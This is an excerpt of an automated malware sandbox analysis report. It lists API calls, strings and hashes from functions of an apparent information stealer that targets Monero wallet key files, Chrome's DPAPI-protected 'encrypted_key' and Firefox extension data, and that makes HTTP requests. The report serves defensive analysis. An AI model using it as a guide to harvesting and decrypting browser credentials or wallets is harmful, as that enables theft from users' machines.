CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ACA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00ACA3FF
lstrlen.KERNEL32(00000000), ref: 00ACA6BC

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

DeleteFileA.KERNEL32(00000000), ref: 00ACA743

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7dba7bff7613636c3165f7a231a8ef07085a615d55e4f5793bd9ae49d44371a7
Instruction ID: 08191bc1a19b1621e972dc2a9ee58f5c3cd2f46d8588e957142c190e55f238a0
Opcode Fuzzy Hash: 7dba7bff7613636c3165f7a231a8ef07085a615d55e4f5793bd9ae49d44371a7
Instruction Fuzzy Hash: F7E122729101589BCB04FBA4DE96EEE733CAF24300F50855AF517B2291EF306A49DB76

Function 00ACD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD8B60: GetSystemTime.KERNEL32(00AE0E1A,01789DE8,00AE05AE,?,?,00AC13F9,?,0000001A,00AE0E1A,00000000,?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00AD8B86

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ACD801
lstrlen.KERNEL32(00000000), ref: 00ACD99F
lstrlen.KERNEL32(00000000), ref: 00ACD9B3
DeleteFileA.KERNEL32(00000000), ref: 00ACDA32

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 19f18bcc55db459d7f90a0a5ab52a530c4757bc5e04efcf698cf6aff9f649520
Instruction ID: 8d877b0b44d28def071823aef0de9e72f2ea3192aa7959b1bf96dd049edf7eb2
Opcode Fuzzy Hash: 19f18bcc55db459d7f90a0a5ab52a530c4757bc5e04efcf698cf6aff9f649520
Instruction Fuzzy Hash: DF8136729101589BCF04FBA4DE96EEE7338BF64300F50452AF407A6291EF746A09DB76

Function 00ACF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AC99EC
Part of subcall function 00AC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AC9A11
Part of subcall function 00AC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AC9A31
Part of subcall function 00AC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AC148F,00000000), ref: 00AC9A5A
Part of subcall function 00AC99C0: LocalFree.KERNEL32(00AC148F), ref: 00AC9A90
Part of subcall function 00AC99C0: CloseHandle.KERNEL32(000000FF), ref: 00AC9A9A

Part of subcall function 00AD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00AD8E52

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00AE1580,00AE0D92), ref: 00ACF54C
lstrlen.KERNEL32(00000000), ref: 00ACF56B

Strings

^userContextId=4294967295, xrefs: 00ACF59C
moz-extension+++, xrefs: 00ACF5AD

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 4089248868ac643388af0c525369afb4f015c410fa9fbcd3727de6a9724ea419
Instruction ID: 0355180949bcbaa27794987da0ce01ce635fcd0c279cfec3dc5619dc350ba9a6
Opcode Fuzzy Hash: 4089248868ac643388af0c525369afb4f015c410fa9fbcd3727de6a9724ea419
Instruction Fuzzy Hash: 70512372D10148AADB04FBB4DD96DED7338AF64300F408529F817A7291EE346B09DBA6

Function 00AC9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00AC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AC99EC
Part of subcall function 00AC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AC9A11
Part of subcall function 00AC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AC9A31
Part of subcall function 00AC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AC148F,00000000), ref: 00AC9A5A
Part of subcall function 00AC99C0: LocalFree.KERNEL32(00AC148F), ref: 00AC9A90
Part of subcall function 00AC99C0: CloseHandle.KERNEL32(000000FF), ref: 00AC9A9A

Part of subcall function 00AD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00AD8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00AC9D39

Part of subcall function 00AC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AC4EEE,00000000,00000000), ref: 00AC9AEF
Part of subcall function 00AC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00AC4EEE,00000000,?), ref: 00AC9B01
Part of subcall function 00AC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AC4EEE,00000000,00000000), ref: 00AC9B2A
Part of subcall function 00AC9AC0: LocalFree.KERNEL32(?,?,?,?,00AC4EEE,00000000,?), ref: 00AC9B3F

Part of subcall function 00AC9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00AC9B84
Part of subcall function 00AC9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00AC9BA3
Part of subcall function 00AC9B60: LocalFree.KERNEL32(?), ref: 00AC9BD3

Strings

"encrypted_key":", xrefs: 00AC9D30
DPAPI, xrefs: 00AC9D89
, xrefs: 00AC9DC1

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 37ba038cc954a22436ce6d13880060f1bf871603dda257c29e90223c30a224eb
Instruction ID: e6200a112312790ba3f519d3837b55f488f33667e8c7c1c682363d5d1e48498e
Opcode Fuzzy Hash: 37ba038cc954a22436ce6d13880060f1bf871603dda257c29e90223c30a224eb
Instruction Fuzzy Hash: AA311EB5D10209ABCB04DBE4DD89FEF77B8BB48304F14451DE916B7241EB359A04CBA1

Function 00AD6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01788AE0,?,00AE110C,?,00000000,?,00AE1110,?,00000000,00AE0AEF), ref: 00AD6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00AD6AE8
CloseHandle.KERNEL32(00000000), ref: 00AD6AF9
Sleep.KERNEL32(00001770), ref: 00AD6B04
CloseHandle.KERNEL32(?,00000000,?,01788AE0,?,00AE110C,?,00000000,?,00AE1110,?,00000000,00AE0AEF), ref: 00AD6B1A
ExitProcess.KERNEL32 ref: 00AD6B22

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d6c77a084f6d587f6a4b37737ad0c52cc9a87dee6b871b85b72e2304d3a713f8
Instruction ID: 6c23e923053b4399f9bc5e32df6d5296f0b5c49311d9b6c67e5b53ebb8eeb133
Opcode Fuzzy Hash: d6c77a084f6d587f6a4b37737ad0c52cc9a87dee6b871b85b72e2304d3a713f8
Instruction Fuzzy Hash: E7F08C30A80319AFEB00ABA0DD0ABBE7B34FB18741F508517F507E13E1DBB05540DAA6

Function 00AC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AC4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00AC4849

Strings

<, xrefs: 00AC47C9

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: b02889e1937e785062f51a0a4af416b202dcdf7ca3967c54d1c2904f4bbbabca
Instruction ID: 9afe68a63b088cafbd41c9fc18fb111dc531db2179f2f39f532510d262c6d38e
Opcode Fuzzy Hash: b02889e1937e785062f51a0a4af416b202dcdf7ca3967c54d1c2904f4bbbabca
Instruction Fuzzy Hash: C8213BB1D00209ABDF14DFA4E945BDE7B74FB45320F108629F929A7290EB706A05CB91

Function 00AD51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC6280: InternetOpenA.WININET(00AE0DFE,00000001,00000000,00000000,00000000), ref: 00AC62E1
Part of subcall function 00AC6280: StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC6303
Part of subcall function 00AC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AC6335
Part of subcall function 00AC6280: HttpOpenRequestA.WININET(00000000,GET,?,0178DD18,00000000,00000000,00400100,00000000), ref: 00AC6385
Part of subcall function 00AC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AC63BF
Part of subcall function 00AC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AC63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00AD5228

Strings

ERROR, xrefs: 00AD5273
ERROR, xrefs: 00AD521A

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
